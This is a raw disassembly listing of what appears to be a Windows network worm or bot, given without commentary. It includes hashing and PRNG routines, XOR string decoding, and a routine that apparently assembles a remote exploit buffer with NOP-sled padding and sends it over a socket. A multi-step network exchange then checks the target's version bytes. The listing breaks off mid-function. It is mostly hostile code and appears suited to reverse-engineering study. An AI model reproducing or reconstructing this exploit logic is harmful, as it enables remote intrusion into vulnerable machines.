mov eax, [ebp+var_10]
shl eax, 0Ah
mov ecx, [ebp+var_10]
shr ecx, 16h
or eax, ecx
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
add eax, [ebp+var_4]
mov [ebp+var_10], eax
mov eax, [ebp+var_8]
not eax
mov ecx, [ebp+var_10]
or ecx, eax
mov eax, [ebp+var_4]
xor eax, ecx
add eax, [ebp+var_28]
mov ecx, [ebp+var_C]
lea eax, [ecx+eax-100B83h]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
shl eax, 0Fh
mov ecx, [ebp+var_C]
shr ecx, 11h
or eax, ecx
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
add eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, [ebp+var_4]
not eax
mov ecx, [ebp+var_C]
or ecx, eax
mov eax, [ebp+var_10]
xor eax, ecx
add eax, [ebp+var_4C]
mov ecx, [ebp+var_8]
lea eax, [ecx+eax-7A7BA22Fh]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
shl eax, 15h
mov ecx, [ebp+var_8]
shr ecx, 0Bh
or eax, ecx
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
add eax, [ebp+var_C]
mov [ebp+var_8], eax
mov eax, [ebp+var_10]
not eax
mov ecx, [ebp+var_8]
or ecx, eax
mov eax, [ebp+var_C]
xor eax, ecx
add eax, [ebp+var_30]
mov ecx, [ebp+var_4]
lea eax, [ecx+eax+6FA87E4Fh]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
shl eax, 6
mov ecx, [ebp+var_4]
shr ecx, 1Ah
or eax, ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
not eax
mov ecx, [ebp+var_4]
or ecx, eax
mov eax, [ebp+var_8]
xor eax, ecx
add eax, [ebp+var_14]
mov ecx, [ebp+var_10]
lea eax, [ecx+eax-1D31920h]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
shl eax, 0Ah
mov ecx, [ebp+var_10]
shr ecx, 16h
or eax, ecx
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
add eax, [ebp+var_4]
mov [ebp+var_10], eax
mov eax, [ebp+var_8]
not eax
mov ecx, [ebp+var_10]
or ecx, eax
mov eax, [ebp+var_4]
xor eax, ecx
add eax, [ebp+var_38]
mov ecx, [ebp+var_C]
lea eax, [ecx+eax-5CFEBCECh]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
shl eax, 0Fh
mov ecx, [ebp+var_C]
shr ecx, 11h
or eax, ecx
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
add eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, [ebp+var_4]
not eax
mov ecx, [ebp+var_C]
or ecx, eax
mov eax, [ebp+var_10]
xor eax, ecx
add eax, [ebp+var_1C]
mov ecx, [ebp+var_8]
lea eax, [ecx+eax+4E0811A1h]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
shl eax, 15h
mov ecx, [ebp+var_8]
shr ecx, 0Bh
or eax, ecx
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
add eax, [ebp+var_C]
mov [ebp+var_8], eax
mov eax, [ebp+var_10]
not eax
mov ecx, [ebp+var_8]
or ecx, eax
mov eax, [ebp+var_C]
xor eax, ecx
add eax, [ebp+var_40]
mov ecx, [ebp+var_4]
lea eax, [ecx+eax-8AC817Eh]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
shl eax, 6
mov ecx, [ebp+var_4]
shr ecx, 1Ah
or eax, ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
not eax
mov ecx, [ebp+var_4]
or ecx, eax
mov eax, [ebp+var_8]
xor eax, ecx
add eax, [ebp+var_24]
mov ecx, [ebp+var_10]
lea eax, [ecx+eax-42C50DCBh]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
shl eax, 0Ah
mov ecx, [ebp+var_10]
shr ecx, 16h
or eax, ecx
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
add eax, [ebp+var_4]
mov [ebp+var_10], eax
mov eax, [ebp+var_8]
not eax
mov ecx, [ebp+var_10]
or ecx, eax
mov eax, [ebp+var_4]
xor eax, ecx
add eax, [ebp+var_48]
mov ecx, [ebp+var_C]
lea eax, [ecx+eax+2AD7D2BBh]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
shl eax, 0Fh
mov ecx, [ebp+var_C]
shr ecx, 11h
or eax, ecx
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
add eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, [ebp+var_4]
not eax
mov ecx, [ebp+var_C]
or ecx, eax
mov eax, [ebp+var_10]
xor eax, ecx
add eax, [ebp+var_2C]
mov ecx, [ebp+var_8]
lea eax, [ecx+eax-14792C6Fh]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
shl eax, 15h
mov ecx, [ebp+var_8]
shr ecx, 0Bh
or eax, ecx
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
add eax, [ebp+var_C]
mov [ebp+var_8], eax
mov eax, [ebp+arg_0]
mov eax, [eax]
add eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
mov [ecx], eax
mov eax, [ebp+arg_0]
mov eax, [eax+4]
add eax, [ebp+var_8]
mov ecx, [ebp+arg_0]
mov [ecx+4], eax
mov eax, [ebp+arg_0]
mov eax, [eax+8]
add eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov [ecx+8], eax
mov eax, [ebp+arg_0]
mov eax, [eax+0Ch]
add eax, [ebp+var_10]
mov ecx, [ebp+arg_0]
mov [ecx+0Ch], eax
leave
retn
sub_40F3CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410244 proc near ; CODE XREF: sub_40F3CE+Fp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
and [ebp+var_4], 0
and [ebp+var_8], 0
jmp short loc_410263
; ---------------------------------------------------------------------------
loc_410253: ; CODE XREF: sub_410244+66j
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
mov eax, [ebp+var_8]
add eax, 4
mov [ebp+var_8], eax
loc_410263: ; CODE XREF: sub_410244+Dj
mov eax, [ebp+var_8]
cmp eax, [ebp+arg_8]
jnb short locret_4102AC
mov eax, [ebp+arg_4]
add eax, [ebp+var_8]
movzx eax, byte ptr [eax]
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_8]
movzx ecx, byte ptr [ecx+1]
shl ecx, 8
or eax, ecx
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_8]
movzx ecx, byte ptr [ecx+2]
shl ecx, 10h
or eax, ecx
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_8]
movzx ecx, byte ptr [ecx+3]
shl ecx, 18h
or eax, ecx
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
mov [edx+ecx*4], eax
jmp short loc_410253
; ---------------------------------------------------------------------------
locret_4102AC: ; CODE XREF: sub_410244+25j
leave
retn
sub_410244 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4102AE proc near ; CODE XREF: sub_4167F1+DFp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push 0F0000000h
push 1
push 0
push 0
lea eax, [ebp+var_4]
push eax
call ds:dword_417024 ; CryptAcquireContextA
push offset dword_41EADC
push 4
push [ebp+var_4]
call ds:dword_417020 ; CryptGenRandom
push offset dword_41EAE0
push 4
push [ebp+var_4]
call ds:dword_417020 ; CryptGenRandom
push offset dword_41EAE4
push 4
push [ebp+var_4]
call ds:dword_417020 ; CryptGenRandom
push offset dword_41EAE8
push 4
push [ebp+var_4]
call ds:dword_417020 ; CryptGenRandom
push 0
push [ebp+var_4]
call ds:dword_41701C ; CryptReleaseContext
leave
retn
sub_4102AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410318 proc near ; CODE XREF: sub_4103F5+6p
; sub_410422+6p ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
lock xadd dword_41EADC, eax
add eax, ebx
lock xadd dword_41EAE0, eax
add eax, ecx
lock xadd dword_41EAE4, eax
add eax, edx
lock xadd dword_41EAE8, eax
add eax, esi
lock xadd dword_41EADC, eax
add eax, edi
lock xadd dword_41EAE0, eax
add eax, ebp
lock xadd dword_41EAE4, eax
add eax, esp
lock xadd dword_41EAE8, eax
call sub_416B64 ; clock
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
lock xadd dword_41EADC, eax
lock xadd dword_41EAE0, eax
lock xadd dword_41EAE4, eax
lock xadd dword_41EAE8, eax
add ecx, ebx
ror ebx, cl
lock xadd dword_41EAE4, ebx
add ecx, ecx
ror ecx, cl
lock xadd dword_41EAE0, ecx
add ecx, edx
ror edx, cl
lock xadd dword_41EADC, edx
rol eax, cl
add ecx, eax
ror ebx, cl
add ecx, ebx
ror ecx, cl
add ecx, 211h
rol edx, cl
add ecx, edx
lock xadd dword_41EAE8, edx
lock xadd dword_41EAE4, ecx
lock xadd dword_41EAE0, ebx
lock xadd dword_41EADC, eax
pop edi
pop esi
pop ebx
leave
retn
sub_410318 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4103F5 proc near ; CODE XREF: sub_4020C2+10Bp
; sub_4040E8+2Dp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
push edi
call sub_410318
call sub_416B64 ; clock
lock xadd dword_41EAE8, eax
mov ecx, [ebp+arg_4]
sub ecx, [ebp+arg_0]
xor edx, edx
inc ecx
div ecx
mov eax, edx
add eax, [ebp+arg_0]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4103F5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410422 proc near ; CODE XREF: sub_40CF2F:loc_40CFBCp
; sub_40D871+D3Fp ...
push ebp
mov ebp, esp
push ebx
push esi
push edi
call sub_410318
call sub_416B64 ; clock
lock xadd dword_41EAE8, eax
pop edi
pop esi
pop ebx
pop ebp
retn
sub_410422 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41043F proc near ; CODE XREF: sub_4055E5+715p
; sub_4055E5+78Bp
push ebp
mov ebp, esp
push ebx
push esi
push edi
call sub_410318
call sub_416B64 ; clock
lock xadd dword_41EAE4, eax
and eax, 0FFFFh
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41043F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410461 proc near ; CODE XREF: sub_4104A3+42p
; sub_4125DF:loc_4126B8p
push ebp
mov ebp, esp
push ebx
push esi
push edi
call sub_410318
call sub_416B64 ; clock
lock xadd dword_41EAE0, eax
and eax, 0FFh
pop edi
pop esi
pop ebx
pop ebp
retn
sub_410461 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410483 proc near ; CODE XREF: sub_4055E5+72Bp
; sub_40D7E5+57p
push ebp
mov ebp, esp
push ebx
push esi
push edi
call sub_410318
call sub_416B64 ; clock
lock xadd dword_41EADC, eax
and eax, 1
pop edi
pop esi
pop ebx
pop ebp
retn
sub_410483 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4104A3 proc near ; CODE XREF: sub_40A9CF+D4Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_4], 0
jnz short loc_4104AF
jmp short locret_4104FF
; ---------------------------------------------------------------------------
loc_4104AF: ; CODE XREF: sub_4104A3+8j
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_4104B5: ; CODE XREF: sub_4104A3+34j
cmp [ebp+arg_4], 3
jbe short loc_4104D9
call sub_410422
mov ecx, [ebp+var_4]
mov [ecx], eax
mov eax, [ebp+var_4]
add eax, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
sub eax, 4
mov [ebp+arg_4], eax
jmp short loc_4104B5
; ---------------------------------------------------------------------------
loc_4104D9: ; CODE XREF: sub_4104A3+16j
mov eax, [ebp+var_4]
mov [ebp+arg_0], eax
loc_4104DF: ; CODE XREF: sub_4104A3+5Aj
cmp [ebp+arg_4], 0
jbe short locret_4104FF
call sub_410461
mov ecx, [ebp+arg_0]
mov [ecx], al
mov eax, [ebp+arg_0]
inc eax
mov [ebp+arg_0], eax
mov eax, [ebp+arg_4]
dec eax
mov [ebp+arg_4], eax
jmp short loc_4104DF
; ---------------------------------------------------------------------------
locret_4104FF: ; CODE XREF: sub_4104A3+Aj
; sub_4104A3+40j
leave
retn
sub_4104A3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410501 proc near ; CODE XREF: sub_403260+36p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_4], 0
jnz short loc_410510
xor eax, eax
jmp short locret_41055D
; ---------------------------------------------------------------------------
loc_410510: ; CODE XREF: sub_410501+9j
cmp [ebp+arg_10], 0
jnz short loc_41051C
mov eax, [ebp+arg_4]
mov [ebp+arg_10], eax
loc_41051C: ; CODE XREF: sub_410501+13j
push [ebp+arg_10]
push [ebp+arg_4]
call sub_4103F5
pop ecx
pop ecx
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
mov [ebp+var_4], eax
loc_410532: ; CODE XREF: sub_410501+57j
cmp [ebp+var_4], 0
jbe short loc_41055A
push [ebp+arg_C]
push [ebp+arg_8]
call sub_4103F5
pop ecx
pop ecx
mov ecx, [ebp+arg_0]
mov [ecx], al
mov eax, [ebp+arg_0]
inc eax
mov [ebp+arg_0], eax
mov eax, [ebp+var_4]
dec eax
mov [ebp+var_4], eax
jmp short loc_410532
; ---------------------------------------------------------------------------
loc_41055A: ; CODE XREF: sub_410501+35j
mov eax, [ebp+var_8]
locret_41055D: ; CODE XREF: sub_410501+Dj
leave
retn
sub_410501 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41055F proc near ; CODE XREF: sub_4167F1+F0p
var_58 = byte ptr -58h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 58h
push ebx
push esi
push edi
lea eax, [ebp+var_58]
push eax
call sub_40F11F
pop ecx
push [ebp+arg_4]
push [ebp+arg_0]
lea eax, [ebp+var_58]
push eax
call sub_40F159
add esp, 0Ch
lea eax, [ebp+var_58]
push eax
push offset byte_41EAF0
call sub_40F26E
pop ecx
pop ecx
lea esi, byte_41EAF0
mov edi, esi
push 10h
pop ecx
loc_41059F: ; CODE XREF: sub_41055F+47j
lodsb
or eax, 80h
stosb
loop loc_41059F
pop edi
pop esi
pop ebx
leave
retn
sub_41055F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4105AD proc near ; CODE XREF: sub_406E8E+C6p
; sub_406E8E+14Ap ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
movzx eax, byte ptr [eax]
cmp eax, 7Fh
jle short loc_4105BE
jmp short locret_4105F9
; ---------------------------------------------------------------------------
loc_4105BE: ; CODE XREF: sub_4105AD+Dj
and [ebp+var_4], 0
jmp short loc_4105CB
; ---------------------------------------------------------------------------
loc_4105C4: ; CODE XREF: sub_4105AD+4Aj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_4105CB: ; CODE XREF: sub_4105AD+15j
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
test eax, eax
jz short locret_4105F9
mov eax, [ebp+var_4]
cdq
push 10h
pop ecx
idiv ecx
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
mov al, [eax]
xor al, byte_41EAF0[edx]
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_4]
mov [ecx], al
jmp short loc_4105C4
; ---------------------------------------------------------------------------
locret_4105F9: ; CODE XREF: sub_4105AD+Fj
; sub_4105AD+29j
leave
retn
sub_4105AD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4105FB proc near ; CODE XREF: sub_401000+4Ap
; sub_4043E9+1Ap ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
movzx eax, byte ptr [eax]
cmp eax, 7Fh
jg short loc_41060C
jmp short locret_410647
; ---------------------------------------------------------------------------
loc_41060C: ; CODE XREF: sub_4105FB+Dj
and [ebp+var_4], 0
jmp short loc_410619
; ---------------------------------------------------------------------------
loc_410612: ; CODE XREF: sub_4105FB+4Aj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_410619: ; CODE XREF: sub_4105FB+15j
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
test eax, eax
jz short locret_410647
mov eax, [ebp+var_4]
cdq
push 10h
pop ecx
idiv ecx
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
mov al, [eax]
xor al, byte_41EAF0[edx]
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_4]
mov [ecx], al
jmp short loc_410612
; ---------------------------------------------------------------------------
locret_410647: ; CODE XREF: sub_4105FB+Fj
; sub_4105FB+29j
leave
retn
sub_4105FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410649 proc near ; DATA XREF: .data:off_41CCFEo
var_1B78 = dword ptr -1B78h
var_1B74 = byte ptr -1B74h
var_B74 = byte ptr -0B74h
var_B6C = dword ptr -0B6Ch
var_B64 = dword ptr -0B64h
var_374 = dword ptr -374h
var_370 = dword ptr -370h
var_36C = byte ptr -36Ch
var_280 = byte ptr -280h
var_276 = byte ptr -276h
var_272 = byte ptr -272h
var_23A = byte ptr -23Ah
var_236 = byte ptr -236h
var_232 = byte ptr -232h
var_204 = dword ptr -204h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1B78h
call sub_416BC0
push 48h
push offset dword_41A7B0
mov eax, [ebp+arg_0]
push dword ptr [eax+3Eh]
call sub_4053BF
add esp, 0Ch
push 0EA60h
mov eax, [ebp+arg_0]
push dword ptr [eax+3Eh]
call sub_40546E
pop ecx
pop ecx
test eax, eax
jnz short loc_410686
jmp locret_410B50
; ---------------------------------------------------------------------------
loc_410686: ; CODE XREF: sub_410649+36j
push 0
push 1000h
lea eax, [ebp+var_1B74]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+3Eh]
call ds:dword_417248 ; recv
push 7
push offset dword_41A7A8
mov eax, [ebp+arg_0]
push dword ptr [eax+2Ah]
mov eax, [ebp+arg_0]
add eax, 146h
push eax
mov eax, [ebp+arg_0]
add eax, 0C6h
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+0C2h]
push 200h
lea eax, [ebp+var_200]
push eax
call sub_4125DF
add esp, 20h
mov [ebp+var_370], eax
cmp [ebp+var_370], 0
jnz short loc_4106F0
jmp locret_410B50
; ---------------------------------------------------------------------------
loc_4106F0: ; CODE XREF: sub_410649+A0j
and [ebp+var_374], 0
jmp short loc_410706
; ---------------------------------------------------------------------------
loc_4106F9: ; CODE XREF: sub_410649+E1j
mov eax, [ebp+var_374]
inc eax
mov [ebp+var_374], eax
loc_410706: ; CODE XREF: sub_410649+AEj
cmp [ebp+var_374], 168h
jge short loc_41072C
push 7Ah
push 61h
call sub_4103F5
pop ecx
pop ecx
mov ecx, [ebp+var_374]
mov [ebp+ecx+var_36C], al
jmp short loc_4106F9
; ---------------------------------------------------------------------------
loc_41072C: ; CODE XREF: sub_410649+C7j
push 0Ah
push offset loc_41A8A0
lea eax, [ebp+var_280]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push 2
push offset loc_41A8F0
lea eax, [ebp+var_276]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push 4
push offset loc_41A8E8
lea eax, [ebp+var_272]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push 2
push offset loc_41A8EC
lea eax, [ebp+var_23A]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push 4
push (offset loc_41A8E3+1)
lea eax, [ebp+var_236]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push 0Bh
push offset loc_41A894
lea eax, [ebp+var_232]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, 3E6h
sub eax, [ebp+var_370]
mov [ebp+var_204], eax
and [ebp+var_1B78], 0
push 18h
push offset dword_41A7FC
mov eax, [ebp+var_1B78]
lea eax, [ebp+eax+var_B74]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_1B78]
add eax, 18h
mov [ebp+var_1B78], eax
push 44h
push offset dword_41A818
mov eax, [ebp+var_1B78]
lea eax, [ebp+eax+var_B74]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_1B78]
add eax, 44h
mov [ebp+var_1B78], eax
push 20h
push 0FFFFFF90h
mov eax, [ebp+var_1B78]
lea eax, [ebp+eax+var_B74]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov eax, [ebp+var_1B78]
add eax, 20h
mov [ebp+var_1B78], eax
push 4
push offset loc_41A8AC
mov eax, [ebp+var_1B78]
lea eax, [ebp+eax+var_B74]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_1B78]
add eax, 4
mov [ebp+var_1B78], eax
push 4
push offset loc_41A8E0
mov eax, [ebp+var_1B78]
lea eax, [ebp+eax+var_B74]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_1B78]
add eax, 4
mov [ebp+var_1B78], eax
push 4
push offset dword_41A8D8
mov eax, [ebp+var_1B78]
lea eax, [ebp+eax+var_B74]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_1B78]
add eax, 4
mov [ebp+var_1B78], eax
push 4
push offset loc_41A8DC
mov eax, [ebp+var_1B78]
lea eax, [ebp+eax+var_B74]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_1B78]
add eax, 4
mov [ebp+var_1B78], eax
push 58h
push 0FFFFFF90h
mov eax, [ebp+var_1B78]
lea eax, [ebp+eax+var_B74]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov eax, [ebp+var_1B78]
add eax, 58h
mov [ebp+var_1B78], eax
push 6
push offset loc_41A8B4
mov eax, [ebp+var_1B78]
lea eax, [ebp+eax+var_B74]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_1B78]
add eax, 6
mov [ebp+var_1B78], eax
push 8
push 0FFFFFF90h
mov eax, [ebp+var_1B78]
lea eax, [ebp+eax+var_B74]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov eax, [ebp+var_1B78]
add eax, 8
mov [ebp+var_1B78], eax
push 4
push offset loc_41A8BC
mov eax, [ebp+var_1B78]
lea eax, [ebp+eax+var_B74]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_1B78]
add eax, 4
mov [ebp+var_1B78], eax
push 4
push 0FFFFFF90h
mov eax, [ebp+var_1B78]
lea eax, [ebp+eax+var_B74]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov eax, [ebp+var_1B78]
add eax, 4
mov [ebp+var_1B78], eax
push 6
push offset loc_41A8C4
mov eax, [ebp+var_1B78]
lea eax, [ebp+eax+var_B74]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_1B78]
add eax, 6
mov [ebp+var_1B78], eax
push [ebp+var_204]
push 0FFFFFF90h
mov eax, [ebp+var_1B78]
lea eax, [ebp+eax+var_B74]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov eax, [ebp+var_1B78]
add eax, [ebp+var_204]
mov [ebp+var_1B78], eax
push [ebp+var_370]
lea eax, [ebp+var_200]
push eax
mov eax, [ebp+var_1B78]
lea eax, [ebp+eax+var_B74]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_1B78]
add eax, [ebp+var_370]
mov [ebp+var_1B78], eax
push 168h
lea eax, [ebp+var_36C]
push eax
mov eax, [ebp+var_1B78]
lea eax, [ebp+eax+var_B74]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_1B78]
add eax, 168h
mov [ebp+var_1B78], eax
push 0Ah
push offset aA ; "\\A"
mov eax, [ebp+var_1B78]
lea eax, [ebp+eax+var_B74]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_1B78]
add eax, 0Ah
mov [ebp+var_1B78], eax
push 32h
push offset dword_41A860
mov eax, [ebp+var_1B78]
lea eax, [ebp+eax+var_B74]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_1B78]
add eax, 32h
mov [ebp+var_1B78], eax
mov eax, [ebp+var_1B78]
mov [ebp+var_B6C], eax
mov eax, [ebp+var_1B78]
sub eax, 18h
mov [ebp+var_B64], eax
push [ebp+var_1B78]
lea eax, [ebp+var_B74]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+3Eh]
call sub_4053BF
add esp, 0Ch
push 0EA60h
mov eax, [ebp+arg_0]
push dword ptr [eax+3Eh]
call sub_40546E
pop ecx
pop ecx
test eax, eax
jnz short loc_410B36
jmp short locret_410B50
; ---------------------------------------------------------------------------
loc_410B36: ; CODE XREF: sub_410649+4E9j
push 0
push 1000h
lea eax, [ebp+var_1B74]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+3Eh]
call ds:dword_417248 ; recv
locret_410B50: ; CODE XREF: sub_410649+38j
; sub_410649+A2j ...
leave
retn
sub_410649 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 104Ch
call sub_416BC0
push 7
push offset dword_41A7A8
mov eax, [ebp+8]
push dword ptr [eax+2Ah]
mov eax, [ebp+8]
add eax, 146h
push eax
mov eax, [ebp+8]
add eax, 0C6h
push eax
mov eax, [ebp+8]
push dword ptr [eax+0C2h]
push 200h
lea eax, [ebp-204h]
push eax
call sub_4125DF
add esp, 20h
mov [ebp-20Ch], eax
cmp dword ptr [ebp-20Ch], 0
jnz short loc_410BAF
jmp locret_410F5E
; ---------------------------------------------------------------------------
loc_410BAF: ; CODE XREF: .text:00410BA8j
push 89h
push offset dword_41AF50
mov eax, [ebp+8]
push dword ptr [eax+3Eh]
call sub_4053BF
add esp, 0Ch
push 2710h
push 600h
lea eax, [ebp-80Ch]
push eax
mov eax, [ebp+8]
push dword ptr [eax+3Eh]
call sub_405443
add esp, 10h
test eax, eax
jnz short loc_410BEF
jmp locret_410F5E
; ---------------------------------------------------------------------------
loc_410BEF: ; CODE XREF: .text:00410BE8j
push 0A8h
push offset dword_41AFDC
mov eax, [ebp+8]
push dword ptr [eax+3Eh]
call sub_4053BF
add esp, 0Ch
push 2710h
push 600h
lea eax, [ebp-80Ch]
push eax
mov eax, [ebp+8]
push dword ptr [eax+3Eh]
call sub_405443
add esp, 10h
test eax, eax
jnz short loc_410C2F
jmp locret_410F5E
; ---------------------------------------------------------------------------
loc_410C2F: ; CODE XREF: .text:00410C28j
push 0DEh
push offset dword_41B088
mov eax, [ebp+8]
push dword ptr [eax+3Eh]
call sub_4053BF
add esp, 0Ch
push 2710h
push 600h
lea eax, [ebp-80Ch]
push eax
mov eax, [ebp+8]
push dword ptr [eax+3Eh]
call sub_405443
add esp, 10h
test eax, eax
jnz short loc_410C6F
jmp locret_410F5E
; ---------------------------------------------------------------------------
loc_410C6F: ; CODE XREF: .text:00410C68j
movsx eax, byte ptr [ebp-7CCh]
sub eax, 30h
mov [ebp-208h], al
movsx eax, byte ptr [ebp-7C8h]
sub eax, 30h
mov [ebp-4], al
push 3Eh
push offset dword_41B168
mov eax, [ebp+8]
push dword ptr [eax+3Eh]
call sub_4053BF
add esp, 0Ch
push 2710h
push 600h
lea eax, [ebp-80Ch]
push eax
mov eax, [ebp+8]
push dword ptr [eax+3Eh]
call sub_405443
add esp, 10h
test eax, eax
jnz short loc_410CC9
jmp locret_410F5E
; ---------------------------------------------------------------------------
loc_410CC9: ; CODE XREF: .text:00410CC2j
push 60h
push offset dword_41B1A8
mov eax, [ebp+8]
push dword ptr [eax+3Eh]
call sub_4053BF
add esp, 0Ch
push 2710h
push 600h
lea eax, [ebp-80Ch]
push eax
mov eax, [ebp+8]
push dword ptr [eax+3Eh]
call sub_405443
add esp, 10h
test eax, eax
jnz short loc_410D06
jmp locret_410F5E
; ---------------------------------------------------------------------------
loc_410D06: ; CODE XREF: .text:00410CFFj
push 0A0h
push offset dword_41B20C
mov eax, [ebp+8]
push dword ptr [eax+3Eh]
call sub_4053BF
add esp, 0Ch
push 2710h
push 600h
lea eax, [ebp-80Ch]
push eax
mov eax, [ebp+8]
push dword ptr [eax+3Eh]
call sub_405443
add esp, 10h
test eax, eax
jnz short loc_410D46
jmp locret_410F5E
; ---------------------------------------------------------------------------
loc_410D46: ; CODE XREF: .text:00410D3Fj
movsx eax, byte ptr [ebp-208h]
cmp eax, 5
jnz loc_410E71
movsx eax, byte ptr [ebp-4]
cmp eax, 1
jnz loc_410E71
push 86h
push offset dword_41B2B0
lea eax, [ebp-0B78h]
